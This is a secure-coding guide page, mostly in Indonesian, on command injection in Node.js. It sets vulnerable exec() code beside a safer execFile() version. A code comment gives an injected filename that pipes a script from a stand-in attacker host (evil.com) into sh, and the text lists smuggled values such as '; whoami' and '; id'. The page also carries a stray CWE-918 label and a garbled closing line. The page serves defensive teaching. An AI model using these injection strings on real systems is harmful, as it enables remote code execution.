flawopen.com/command-injection/Javascript
Learn how to fix Command Injection (CWE-78) in JavaScript & Node.js. Side-by-side vulnerable vs secure code examples for child_process.execFile(), spawn(), and exec hazards.
Bayangkan meminta asisten kantor untuk mencetak dokumen bernama 'laporan.pdf'. Injeksi perintah terjadi saat seseorang memberikan nama 'laporan.pdf; whoami', dan asisten menyerahkan seluruh catatan tersebut ke terminal loket, mencetak dokumen sekaligus membaca lencana administrator.
Web Application SecurityCWE-918.CWE-918Defense-in-DepthAplikasi menerima input nama host diagnostik atau nama file langsung dari permintaan HTTP.
Backend merangkai perintah shell menggunakan penggabungan string mentah alih-alih vektor argumen terisolasi.
Penyerang menyisipkan karakter meta shell seperti ';', '&&', '|', atau backticks (misal: '127.0.0.1; id') untuk keluar dari konteks perintah.
Shell sistem operasi menjalankan perintah yang disuntikkan dengan hak akses penuh proses web server.
// child_process.exec spawns a shell and parses metacharacters
const { exec } = require('child_process');
function convertImage(filename) {
// Input: "avatar.png; curl http://evil.com/shell | sh"
exec(`convert ${filename} -resize 100x100 out.png`, (err, stdout) => {
console.log(stdout);
});
}
// child_process.execFile executes the binary directly without a shell
const { execFile } = require('child_process');
function convertImage(filename) {
// filename is passed as a literal argument, never parsed as a shell command
execFile('convert', [filename, '-resize', '100x100', 'out.png'], (err, stdout) => {
console.log(stdout);
});
}
exec() calls with execFile() or spawn().spawn().